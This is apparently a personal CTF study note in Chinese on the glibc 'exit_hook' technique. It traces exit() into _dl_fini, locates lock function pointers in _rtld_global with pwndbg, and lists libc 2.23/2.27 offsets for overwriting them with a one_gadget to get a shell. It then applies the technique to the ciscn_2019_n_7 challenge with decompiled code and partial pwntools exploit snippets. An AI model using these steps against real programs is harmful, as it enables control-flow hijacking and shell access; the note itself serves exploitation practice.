参考: https://www.cnblogs.com/bhxdn/p/14222558.html
exit的函数流 demo
1 2 3 4 5 6 7 #include <stdio.h> #include <stdlib.h> void main () { printf ("bhxdn\n" ); exit (0 ); }
不同libc版本不知道差别大不大,回头可以总结下, 2.35也是有这两个函数的
-> __run_exit_handlers
-> _dl_fini
_dl_fini中调用了 _ _rtld_lock_lock_recursive 和 __rtld_lock_unlock_recursive , 所以修改它们为onegadgte就可以getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 void internal_function _dl_fini (void ) { .. #ifdef SHARED int do_audit = 0 ; again: #endif for (Lmid_t ns = GL(dl_nns) - 1 ; ns >= 0 ; --ns) { __rtld_lock_lock_recursive (GL(dl_load_lock)); unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded; if (nloaded == 0 #ifdef SHARED || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit #endif ) __rtld_lock_unlock_recursive (GL(dl_load_lock));
寻找要修改的函数指针 那如何修改呢? 需要找到这两个函数的位置,修改指针
可以看到这里的符号信息是rtld_lock_default_lock_recursive,而不是__rtld_lock_lock_recursive,为什么呢?
答: 可能是利用了一些函数指针替换、宏替换等等,先不细究
1 2 3 4 5 #if defined SHARED && defined _LIBC_REENTRANT \ && defined __rtld_lock_default_lock_recursive GL(dl_rtld_lock_recursive) = rtld_lock_default_lock_recursive; GL(dl_rtld_unlock_recursive) = rtld_lock_default_unlock_recursive; #endif
可以根据打印的地址反推出来是在_rtld_global结构体中
1 2 3 4 5 6 7 8 pwndbg> tele 0x7ffff7de795e +0x2165e4 00 :0000 │ 0x7ffff7ffdf42 (_rtld_global+3842 ) ◂— 0x7d20000000000000 01 :0008 │ 0x7ffff7ffdf4a (_rtld_global+3850 ) ◂— 0x7d3000007ffff7dd 02 :0010 │ 0x7ffff7ffdf52 (_rtld_global+3858 ) ◂— 0xaed000007ffff7dd 03 :0018 │ 0x7ffff7ffdf5a (_rtld_global+3866 ) ◂— 0x600007ffff7de 04 :0020 │ 0x7ffff7ffdf62 (_rtld_global+3874 ) ◂— 0x1000000000000 05 :0028 │ 0x7ffff7ffdf6a (_rtld_global+3882 ) ◂— 0x3000000000000000 06 :0030 │ 0x7ffff7ffdf72 (_rtld_global+3890 ) ◂— 0x100007ffff7ff
该结构体的定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 struct rtld_global _rtld_global = { ._dl_stack_flags = DEFAULT_STACK_PERMS, #ifdef _LIBC_REENTRANT ._dl_load_lock = _RTLD_LOCK_RECURSIVE_INITIALIZER, ._dl_load_write_lock = _RTLD_LOCK_RECURSIVE_INITIALIZER, #endif ._dl_nns = 1 , ._dl_ns = { #ifdef _LIBC_REENTRANT [LM_ID_BASE] = { ._ns_unique_sym_table = { .lock = _RTLD_LOCK_RECURSIVE_INITIALIZER } } #endif } };
根据作者文章可以知道这两个函数在_rtld_global结构体中,可以在gdb中进行打印,但为什么这个结构体定义那么简单,但在gdb中打印出来那么复杂?
答: 是因为在使用的时候会进行各种赋值
1 2 3 4 5 6 7 8 9 10 11 12 13 pwndbg> p _rtld_global $2 = { _dl_ns = {{ _ns_loaded = 0x7ffff7ffe168 , ..... }, audit_data = {{ cookie = 0 , bindflags = 0 } <repeats 16 times>}, _dl_rtld_lock_recursive = 0x7ffff7dd7d20 <rtld_lock_default_lock_recursive>, _dl_rtld_unlock_recursive = 0x7ffff7dd7d30 <rtld_lock_default_unlock_recursive>, ......
找到对应的地址, 只要把这俩地址中的一个改成了onegadget就可以getshell了,(或者system+binsh)
1 2 3 4 5 6 7 8 9 pwndbg> 0x7ffff7ffdf40 <_rtld_global+3840 >: 0x0000000000000000 0x00007ffff7dd7c90 0x7ffff7ffdf50 <_rtld_global+3856 >: 0x00007ffff7dd7ca0 0x00007ffff7deb0e0 0x7ffff7ffdf60 <_rtld_global+3872 >: 0x0000000000000006 0x0000000000000001 0x7ffff7ffdf70 <_rtld_global+3888 >: 0x00007ffff7ff5908 0x0000000000000001 0x7ffff7ffdf80 <_rtld_global+3904 >: 0x0000000000001000 0x0000000000000078 0x7ffff7ffdf90 <_rtld_global+3920 >: 0x0000000000000040 0x00007ffff7ff3010 0x7ffff7ffdfa0 <_rtld_global+3936 >: 0x0000000000000001 0x00007ffff7de3130 0x7ffff7ffdfb0 <_rtld_global+3952 >: 0x0000000000000000 0x0000000000000000
在libc-2.23中 exit_hook = libc_base+0x5f0040+3848
exit_hook = libc_base+0x5f0040+3856
在libc-2.27中
exit_hook = libc_base+0x619060+3840
exit_hook = libc_base+0x619060+3848
ciscn_2019_n_7 有后门函数, 直接改就行啦
最后两位 51b9
只能添加一个
2.23
1 2 3 0x555555605000 0x0000000000000000 0x0000000000000021 ........!.......0x555555605010 0x000000000000000c 0x0000000a656d616e ........name....0x555555605020 0x0000555555605030 0x0000000000000021 0 P`UUU..!.......
edit这里read有溢出, name这里,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int __fastcall sub_ED0 (__int64 a1, void *a2) { unsigned __int64 v3; v3 = __readfsqword(0x28 u); if ( unk_202014 ) { puts ("New Author name:" ); read(0 , qword_202018 + 1 , 0x10 uLL); puts ("New contents:" ); a1 = 0LL ; a2 = (void *)qword_202018[2 ]; read(0 , a2, *qword_202018); if ( __readfsqword(0x28 u) == v3 ) return puts ("Over." ); } else if ( __readfsqword(0x28 u) == v3 ) { return puts ("Dont't exists." ); } return show(a1, (unsigned __int64)a2); }
这不就能实现一个任意地址写了吗
先name溢出修改函数指针,然后实现任意地址写
思路就有了,先泄露地址,然后得到libc地址,onegadget地址, 然后计算exit_hook,改成onegadget就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *elf = "./ciscn_2019_n_7" context.log_level= "debug" p = process(elf) context.terminal = ['tmux' , 'splitw' , '-h' ] def leak (): p.recvuntil("Your choice-> " ) p.sendline(b"666" ) addr = p.recv()[0 :16 ] print (hex (addr)) leak() p.interactive()
libcsearch
多了个回车 0a导致了打不通
哪来的0a呢, 是之前的sendline留下来的,
那为什么删除了之后还是打不通呢?
在close 2那里出问题了
所以不能close? 直接调用exit?
对,直接sendline一个不存在的参数
1 2 3 4 def edit (name,content) : p.sendlineafter ('choice-> \n' ,'2' ) p.sendafter ('name:\n' ,name) p.sendafter ('contents:\n' ,content)
https://blog.csdn.net/qq_62887641/article/details/132867225
https://www.cnblogs.com/LynneHuan/p/15229694.html
怎么找函数地址来,用libc
libc.sym
libsearch出来的呢?
onegadget的选择 根据libc版本选择,虽然版本相近有时候相似,但有时候 一个字节也不能错,所以一定要确定好
能断到 onegadget吗? 应该是有些寄存器条件不符合所有有的不行
问题 如果不知道版本,怎么用搜出来的libc找onegadget地址? (手动确实也不是不行..)